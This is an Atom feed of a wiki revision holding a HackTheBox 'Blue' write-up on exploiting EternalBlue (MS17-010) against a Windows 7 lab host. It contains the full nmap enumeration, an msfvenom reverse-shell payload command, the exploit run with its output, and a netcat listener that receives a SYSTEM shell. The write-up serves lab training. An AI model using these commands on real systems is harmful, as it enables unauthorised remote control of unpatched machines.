<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBlue</id>
	<title>Write-ups/HTB/Blue - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBlue"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Blue&amp;action=history"/>
	<updated>2026-04-21T14:48:41Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Blue&amp;diff=1178&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 20:46, 17 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Blue&amp;diff=1178&amp;oldid=prev"/>
		<updated>2022-01-17T20:46:16Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Blue&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = EternalBlue, MS17-010&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-105.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Windows 7 box was vulnerable to Eternalblue or MS17-010. Using metasploit, it would be done in about 10 minutes. But since Im not using metasploit I did it manually. I had a lot of trouble getting the exploit to work because I required named pipes. There is a module in Metasploit which would enumerate it for you, but I didnt use it. However, I used [https://github.com/helviojunior/MS17-010 helviojunior]&amp;#039;s script send_and_execute.py, which is a modified version of [https://github.com/worawit/MS17-010 worawit&amp;#039;s] zzz_exploit.py.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As always I&amp;#039;ll start with an NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/blue]&lt;br /&gt;
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.40 -oN nmpa.result                                                                                                                                                                     130 ⨯&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-07 16:40 EST&lt;br /&gt;
Warning: 10.10.10.40 giving up on port because retransmission cap hit (10).&lt;br /&gt;
Stats: 0:00:58 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan&lt;br /&gt;
Service scan Timing: About 33.33% done; ETC: 16:43 (0:01:26 remaining)&lt;br /&gt;
Nmap scan report for 10.10.10.40&lt;br /&gt;
Host is up (0.039s latency).&lt;br /&gt;
Not shown: 65506 closed tcp ports (reset)&lt;br /&gt;
PORT      STATE    SERVICE        VERSION&lt;br /&gt;
135/tcp   open     msrpc          Microsoft Windows RPC&lt;br /&gt;
139/tcp   open     netbios-ssn    Microsoft Windows netbios-ssn&lt;br /&gt;
308/tcp   filtered novastorbakcup&lt;br /&gt;
445/tcp   open     microsoft-ds   Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)&lt;br /&gt;
3432/tcp  filtered osdcp&lt;br /&gt;
3932/tcp  filtered dyn-site&lt;br /&gt;
4090/tcp  filtered omasgport&lt;br /&gt;
6847/tcp  filtered unknown&lt;br /&gt;
8986/tcp  filtered unknown&lt;br /&gt;
13231/tcp filtered unknown&lt;br /&gt;
14275/tcp filtered unknown&lt;br /&gt;
23124/tcp filtered unknown&lt;br /&gt;
23259/tcp filtered unknown&lt;br /&gt;
35388/tcp filtered unknown&lt;br /&gt;
41346/tcp filtered unknown&lt;br /&gt;
41964/tcp filtered unknown&lt;br /&gt;
44930/tcp filtered unknown&lt;br /&gt;
49152/tcp open     msrpc          Microsoft Windows RPC&lt;br /&gt;
49153/tcp open     msrpc          Microsoft Windows RPC&lt;br /&gt;
49154/tcp open     msrpc          Microsoft Windows RPC&lt;br /&gt;
49155/tcp open     msrpc          Microsoft Windows RPC&lt;br /&gt;
49156/tcp open     msrpc          Microsoft Windows RPC&lt;br /&gt;
49157/tcp open     msrpc          Microsoft Windows RPC&lt;br /&gt;
54785/tcp filtered unknown&lt;br /&gt;
55262/tcp filtered unknown&lt;br /&gt;
56807/tcp filtered unknown&lt;br /&gt;
61099/tcp filtered unknown&lt;br /&gt;
63728/tcp filtered unknown&lt;br /&gt;
64473/tcp filtered unknown&lt;br /&gt;
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
| smb2-security-mode:&lt;br /&gt;
|   2.1:&lt;br /&gt;
|_    Message signing enabled but not required&lt;br /&gt;
| smb2-time:&lt;br /&gt;
|   date: 2022-01-07T21:43:51&lt;br /&gt;
|_  start_date: 2022-01-07T21:39:56&lt;br /&gt;
| smb-security-mode:&lt;br /&gt;
|   account_used: guest&lt;br /&gt;
|   authentication_level: user&lt;br /&gt;
|   challenge_response: supported&lt;br /&gt;
|_  message_signing: disabled (dangerous, but default)&lt;br /&gt;
| smb-os-discovery:&lt;br /&gt;
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)&lt;br /&gt;
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional&lt;br /&gt;
|   Computer name: haris-PC&lt;br /&gt;
|   NetBIOS computer name: HARIS-PC\x00&lt;br /&gt;
|   Workgroup: WORKGROUP\x00&lt;br /&gt;
|_  System time: 2022-01-07T21:43:49+00:00&lt;br /&gt;
|_clock-skew: mean: 1m53s, deviation: 0s, median: 1m52s&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 83.10 seconds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The OS is &amp;#039;&amp;#039;&amp;#039;Windows 7 Professional 7601 Service Pack 1. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are many ports open, but since the machine name is Blue, I got a hint that this might be &amp;#039;&amp;#039;&amp;#039;eternalblue&amp;#039;&amp;#039;&amp;#039; vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;EternalBlue&amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/EternalBlue#cite_note-ars-5 [5]] is a [https://en.wikipedia.org/wiki/Cyberweapon cyberattack] [https://en.wikipedia.org/wiki/Exploit_(computer_security) exploit] developed by the U.S. [https://en.wikipedia.org/wiki/National_Security_Agency National Security Agency] (NSA).[https://en.wikipedia.org/wiki/EternalBlue#cite_note-6 [6]] It was leaked by the [https://en.wikipedia.org/wiki/The_Shadow_Brokers Shadow Brokers] hacker group on April 14, 2017, one month after Microsoft released patches for the [https://en.wikipedia.org/wiki/Vulnerability_(computing) vulnerability]. [...]&lt;br /&gt;
&lt;br /&gt;
EternalBlue exploits a vulnerability in [https://en.wikipedia.org/wiki/Microsoft Microsoft]&amp;#039;s implementation of the [https://en.wikipedia.org/wiki/Server_Message_Block Server Message Block] (SMB) protocol.&lt;br /&gt;
https://en.wikipedia.org/wiki/EternalBlue&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To verify that the machine is actually vulnerable to eternalblue, I did some enumeration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Eternalblue enum ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
└─# nmap --script vuln 10.10.10.40&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-17 14:19 EST&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
Host script results:&lt;br /&gt;
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND&lt;br /&gt;
|_smb-vuln-ms10-054: false&lt;br /&gt;
| smb-vuln-ms17-010:&lt;br /&gt;
|   VULNERABLE:&lt;br /&gt;
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)&lt;br /&gt;
|     State: VULNERABLE&lt;br /&gt;
|     IDs:  CVE:CVE-2017-0143&lt;br /&gt;
|     Risk factor: HIGH&lt;br /&gt;
|       A critical remote code execution vulnerability exists in Microsoft SMBv1&lt;br /&gt;
|        servers (ms17-010).&lt;br /&gt;
|&lt;br /&gt;
|     Disclosure date: 2017-03-14&lt;br /&gt;
|     References:&lt;br /&gt;
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx&lt;br /&gt;
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/&lt;br /&gt;
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143&lt;br /&gt;
&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 137.69 seconds&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And using &amp;#039;&amp;#039;&amp;#039;checker.py &amp;#039;&amp;#039;&amp;#039;in helviojuniors github to check if target is vulnerable. If it returns anything else other than &amp;#039;&amp;#039;&amp;#039;0xC0000205 &amp;#039;&amp;#039;&amp;#039;(Which means &amp;#039;&amp;#039;&amp;#039;STATUS_INSUFF_SERVER_RESOURCES&amp;#039;&amp;#039;&amp;#039;) it will say that &amp;#039;&amp;#039;&amp;#039;The target is patched. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-106.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/blue/MS17-010]&lt;br /&gt;
└─# python2 checker.py 10.10.10.40                                                                                                                                                       1 ⨯&lt;br /&gt;
Trying to connect to 10.10.10.40:445&lt;br /&gt;
Target OS: Windows 7 Professional 7601 Service Pack 1&lt;br /&gt;
The target is not patched&lt;br /&gt;
&lt;br /&gt;
=== Testing named pipes ===&lt;br /&gt;
spoolss: STATUS_ACCESS_DENIED&lt;br /&gt;
samr: STATUS_ACCESS_DENIED&lt;br /&gt;
netlogon: STATUS_ACCESS_DENIED&lt;br /&gt;
lsarpc: STATUS_ACCESS_DENIED&lt;br /&gt;
browser: STATUS_ACCESS_DENIED&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notice how &amp;#039;&amp;#039;&amp;#039;Testing named pipes&amp;#039;&amp;#039;&amp;#039; returns &amp;#039;&amp;#039;&amp;#039;STATUS_ACCESS_DENIED. &amp;#039;&amp;#039;&amp;#039;Thats because we havent used a username to authenticate. If I input anything into &amp;#039;&amp;#039;&amp;#039;USERNAME&amp;#039;&amp;#039;&amp;#039;, it will authenticate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220117200723.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And if I run the script now.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/blue/MS17-010]&lt;br /&gt;
└─# python2 checker.py 10.10.10.40&lt;br /&gt;
Trying to connect to 10.10.10.40:445&lt;br /&gt;
Target OS: Windows 7 Professional 7601 Service Pack 1&lt;br /&gt;
The target is not patched&lt;br /&gt;
&lt;br /&gt;
=== Testing named pipes ===&lt;br /&gt;
spoolss: STATUS_OBJECT_NAME_NOT_FOUND&lt;br /&gt;
samr: Ok (64 bit)&lt;br /&gt;
netlogon: Ok (Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported (this usually means the interface isn&amp;#039;t listening on the given endpoint))&lt;br /&gt;
lsarpc: Ok (64 bit)&lt;br /&gt;
browser: Ok (64 bit)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Alrite, now we have established that the target is vulnerable. Now its time to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let&amp;#039;s first take a look at the script &amp;#039;&amp;#039;&amp;#039;send_and_execute.py. &amp;#039;&amp;#039;&amp;#039;What happens here is that it takes &amp;#039;&amp;#039;&amp;#039;lfile&amp;#039;&amp;#039;&amp;#039;, which is &amp;lt;code&amp;gt;sys.argv[2]&amp;lt;/code&amp;gt;. Example (&amp;lt;code&amp;gt;python2 send_and_execute.py 10.10.10.40 exploit.exe&amp;lt;/code&amp;gt;). exploit.exe would be the lfile that is going to be executed on the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-108.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It will execute it as a service using &amp;#039;&amp;#039;&amp;#039;service_exec. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So first, lets add a USERNAME in the script. As we did with the checker.py script, I&amp;#039;ll just add &amp;#039;&amp;#039;&amp;#039;useruser&amp;#039;&amp;#039;&amp;#039; as USERNAME variable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then I&amp;#039;ll create a payload using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/blue]&lt;br /&gt;
└─# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a rlwrap netcat listener and execute the script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/blue]&lt;br /&gt;
└─# python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
Trying to connect to 10.10.10.40:445&lt;br /&gt;
Target OS: Windows 7 Professional 7601 Service Pack 1&lt;br /&gt;
Using named pipe: browser&lt;br /&gt;
Target is 64 bit&lt;br /&gt;
Got frag size: 0x10&lt;br /&gt;
GROOM_POOL_SIZE: 0x5030&lt;br /&gt;
BRIDE_TRANS_SIZE: 0xfa0&lt;br /&gt;
CONNECTION: 0xfffffa80045836c0&lt;br /&gt;
SESSION: 0xfffff8a001608660&lt;br /&gt;
FLINK: 0xfffff8a00866b088&lt;br /&gt;
InParam: 0xfffff8a00862d15c&lt;br /&gt;
MID: 0x2103&lt;br /&gt;
unexpected alignment, diff: 0x3d088&lt;br /&gt;
leak failed... try again&lt;br /&gt;
CONNECTION: 0xfffffa80045836c0&lt;br /&gt;
SESSION: 0xfffff8a001608660&lt;br /&gt;
FLINK: 0xfffff8a008677088&lt;br /&gt;
InParam: 0xfffff8a00867115c&lt;br /&gt;
MID: 0x2203&lt;br /&gt;
success controlling groom transaction&lt;br /&gt;
modify trans1 struct for arbitrary read/write&lt;br /&gt;
make this SMB session to be SYSTEM&lt;br /&gt;
overwriting session security context&lt;br /&gt;
Sending file 0P0GY6.exe...&lt;br /&gt;
Opening SVCManager on 10.10.10.40.....&lt;br /&gt;
Creating service dVJG.....&lt;br /&gt;
Starting service dVJG.....&lt;br /&gt;
The NETBIOS connection with the remote host timed out.&lt;br /&gt;
Removing service dVJG.....&lt;br /&gt;
ServiceExec Error on: 10.10.10.40&lt;br /&gt;
nca_s_proto_error&lt;br /&gt;
Done&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/blue]&lt;br /&gt;
└─# rlwrap nc -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.40] 49158&lt;br /&gt;
Microsoft Windows [Version 6.1.7601]&lt;br /&gt;
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.&lt;br /&gt;
&lt;br /&gt;
whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And just like that, we are &amp;#039;&amp;#039;&amp;#039;NT AUTHORITY\SYSTEM. &amp;#039;&amp;#039;&amp;#039;As you read from the output for send_and_execute.py, it opens SVCManager, creates a service, and start the service. If the service exist, it will remote it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-109.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Scripts will usually not work right out of the box. I have to understand how the exploit and the scripts works, and sometimes modify it for it to work. * Even though the same vulnerability exist in XP and other OS, the way its exploited is different from each other. For example, in on the box &amp;#039;&amp;#039;&amp;#039;Legacy &amp;#039;&amp;#039;&amp;#039;the account used SMB was &amp;lt;blank&amp;gt;, meaning we didnt have to specify a username.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>